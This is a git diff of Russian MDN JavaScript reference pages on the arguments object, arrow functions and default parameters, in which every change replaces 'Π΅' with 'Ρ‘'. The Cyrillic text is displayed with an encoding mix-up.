@@ -24,7 +24,7 @@ original_slug: Web/JavaScript/Reference/Errors/ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅_скрыва
<p>Β </p>
-<p>Π’ΠΎ ΠΆΠ΅ имя пСрСмСнной происходит Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ назначСния var Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ ΠΈΠΌΠ΅Π½, поэтому JavaScript ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°Π΅Ρ‚ ΠΎΠ± этом.</p>
+<p>Π’ΠΎ ΠΆΠ΅ имя пСрСмСнной происходит Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ назначСния var Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ ΠΈΠΌΡ‘Π½, поэтому JavaScript ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°Π΅Ρ‚ ΠΎΠ± этом.</p>
<p>Π­Ρ‚Π° ошибка Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΊΠ°ΠΊ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΊΠΎΠ΄Π΅ строгого Ρ€Π΅ΠΆΠΈΠΌΠ°. Π’ нСстрогом ΠΊΠΎΠ΄Π΅ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ объявлСниС игнорируСтся.</p>
diff --git a/files/ru/web/javascript/reference/functions/arguments/callee/index.html b/files/ru/web/javascript/reference/functions/arguments/callee/index.html
index eaf41af79d..5326296bdd 100644
--- a/files/ru/web/javascript/reference/functions/arguments/callee/index.html
+++ b/files/ru/web/javascript/reference/functions/arguments/callee/index.html
@@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Functions/arguments/callee
<p>Β </p>
-<p>Π”Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅Π·Π°ΠΌΠ΅Π½ΠΈΠΌΡ‹ΠΌ ΠΎΠ½ΠΎ остаСтся всСго Π² ΠΎΠ΄Π½ΠΎΠΉ ситуации. Когда ΠΌΡ‹ создаСм Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ Ρ‡Π΅Ρ€Π΅Π· конструктор <em>Function.</em></p>
+<p>Π”Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅Π·Π°ΠΌΠ΅Π½ΠΈΠΌΡ‹ΠΌ ΠΎΠ½ΠΎ остаётся всСго Π² ΠΎΠ΄Π½ΠΎΠΉ ситуации. Когда ΠΌΡ‹ создаём Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ Ρ‡Π΅Ρ€Π΅Π· конструктор <em>Function.</em></p>
<pre class="line-numbers language-javascript"><code class="language-javascript"><span class="keyword token">var b = new Function("", "alert(typeof arguments.callee)");</span></code></pre>
diff --git a/files/ru/web/javascript/reference/functions/arguments/index.html b/files/ru/web/javascript/reference/functions/arguments/index.html
index b23710eba0..db4f25e9b6 100644
--- a/files/ru/web/javascript/reference/functions/arguments/index.html
+++ b/files/ru/web/javascript/reference/functions/arguments/index.html
@@ -105,7 +105,7 @@ console.log(typeof arguments[0]);</code></pre>
<span class="keyword token">return</span> args<span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span>separator<span class="punctuation token">)</span><span class="punctuation token">;</span>
<span class="punctuation token">}</span></code></pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ любоС количСство Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Она создаСт строку, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ любоС количСство Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Она создаёт строку, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚:</p>
<pre class="brush:js">// Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ "red, orange, blue"
myConcat(", ", "red", "orange", "blue");
@@ -118,7 +118,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre>
<h3 id="Ѐункция_ΡΠΎΠ·Π΄Π°ΡŽΡ‰Π°Ρ_HTML_списки"> Ѐункция,Β ΡΠΎΠ·Π΄Π°ΡŽΡ‰Π°ΡΒ HTML списки</h3>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π° функция, которая создаСт строку с HTML-Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ для списка. ЕдинствСнный Π΅Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ - строка, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π°Ρ Π²ΠΈΠ΄ списка: Ссли Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ "u", формируСтся нСупорядочСнный (ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ) список, Π° Ссли "o", Ρ‚ΠΎ упорядочСнный (Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ):</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π° функция, которая создаёт строку с HTML-Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ для списка. ЕдинствСнный Π΅Ρ‘ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ - строка, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π°Ρ Π²ΠΈΠ΄ списка: Ссли Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ "u", формируСтся нСупорядочСнный (ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ) список, Π° Ссли "o", Ρ‚ΠΎ упорядочСнный (Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ):</p>
<pre class="brush:js">function list(type) {
var result = "&lt;" + type + "l&gt;&lt;li&gt;";
@@ -148,7 +148,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre>
<span class="punctuation token">}</span>
<span class="function token">foo</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// { "0": 1, "1": 2, "2": 3 }</span></code></pre>
-<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π² нСстрогих функциях <strong>соотвСтствиС ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΈΡ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ <code>arguments</code></strong> сущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли функция <strong>Π½Π΅</strong> содСрТит Π½ΠΈΠΊΠ°ΠΊΠΈΡ… <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a> ΠΈΠ»ΠΈ <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">дСструктурированных ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²</a>. НапримСр, Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½ 10, Π° Π½Π΅ 100:</p>
+<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π² нСстрогих функциях <strong>соотвСтствиС ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΈΡ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ <code>arguments</code></strong> сущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли функция <strong>Π½Π΅</strong> содСрТит Π½ΠΈΠΊΠ°ΠΊΠΈΡ… <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a> ΠΈΠ»ΠΈ <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">дСструктурированных ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²</a>. НапримСр, Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½ 10, Π° Π½Π΅ 100:</p>
<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span>a<span class="operator token">=</span><span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">100</span><span class="punctuation token">;</span>
@@ -164,7 +164,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre>
<span class="punctuation token">}</span>
<span class="function token">zoo</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 100</span></code></pre>
-<p>На самом Π΄Π΅Π»Π΅, Ссли <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">ΠΎΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a> ΠΈΠ»ΠΈ <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">дСструктурированныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</a> Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° послСдниС значСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <strong><code>arguments</code></strong>, ΠΏΡ€ΠΈ считывании Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ считаны послСдниС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· <strong><code>arguments</code></strong>, Π° ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <strong><code>arguments</code></strong>. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π² ΠΊΠΎΠ΄Π΅ Π½ΠΈΠΆΠ΅:</p>
+<p>На самом Π΄Π΅Π»Π΅, Ссли <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">ΠΎΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a> ΠΈΠ»ΠΈ <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">дСструктурированныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</a> Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° послСдниС значСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <strong><code>arguments</code></strong>, ΠΏΡ€ΠΈ считывании Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ считаны послСдниС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· <strong><code>arguments</code></strong>, Π° ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <strong><code>arguments</code></strong>. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π² ΠΊΠΎΠ΄Π΅ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">func</span><span class="punctuation token">(</span>a<span class="punctuation token">,</span> b<span class="punctuation token">)</span> <span class="punctuation token">{</span>
arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">90</span><span class="punctuation token">;</span>
diff --git a/files/ru/web/javascript/reference/functions/arrow_functions/index.html b/files/ru/web/javascript/reference/functions/arrow_functions/index.html
index bd2cc34fe1..6df06beb79 100644
--- a/files/ru/web/javascript/reference/functions/arrow_functions/index.html
+++ b/files/ru/web/javascript/reference/functions/arrow_functions/index.html
@@ -66,7 +66,7 @@ f(); // 6
elements.map(function(element) {
return element.length;
-}); // Π­Ρ‚ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Π½Π΅Ρ‚ массив [8, 6, 7, 9]
+}); // Π­Ρ‚ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ массив [8, 6, 7, 9]
// Π€ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²Ρ‹ΡˆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΡΡ‚Ρ€Π΅Π»ΠΎΡ‡Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ:
elements.map((element) =&gt; {
@@ -123,7 +123,7 @@ var p = new Person();
<p>ΠšΡ€ΠΎΠΌΠ΅ этого, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ создана <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">привязанная функция</a>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ пСрСдаётся Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠ΅Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (функция <code>growUp()</code> Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅).</p>
-<p>Π‘Ρ‚Ρ€Π΅Π»ΠΎΡ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ содСрТат собствСнный контСкст <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ контСкста. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π»ΠΎΡΡŒ:</p>
+<p>Π‘Ρ‚Ρ€Π΅Π»ΠΎΡ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ содСрТат собствСнный контСкст <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ контСкста. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π»ΠΎΡΡŒ:</p>
<pre class="brush: js">function Person(){
this.age = 0;
diff --git a/files/ru/web/javascript/reference/functions/default_parameters/index.html b/files/ru/web/javascript/reference/functions/default_parameters/index.html
index 9043c38446..b257a5fe65 100644
--- a/files/ru/web/javascript/reference/functions/default_parameters/index.html
+++ b/files/ru/web/javascript/reference/functions/default_parameters/index.html
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Functions/Default_parameters
<h2 id="Example" name="Example">ОписаниС</h2>
-<p>Π’ JavaScript ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΡ€ΠΈ Π΅Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ значСния, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>{{jsxref("undefined")}}</code>. Однако Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΈΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ИмСнно для Ρ‚Π°ΠΊΠΈΡ… случаСв ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
+<p>Π’ JavaScript ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΡ€ΠΈ Π΅Ρ‘ Π²Ρ‹Π·ΠΎΠ²Π΅ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ значСния, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>{{jsxref("undefined")}}</code>. Однако Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΈΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ИмСнно для Ρ‚Π°ΠΊΠΈΡ… случаСв ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
<p>Π’ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΈ задания ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ использовался ΠΊΠΎΠ΄ Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΠ»ΠΎΡΡŒ, Π½Π΅ Ρ€Π°Π²Π½Ρ‹ Π»ΠΈ значСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² <code>undefined</code>.</p>
@@ -47,7 +47,7 @@ multiply(5, 2); // 10
multiply(5); // 5
</pre>
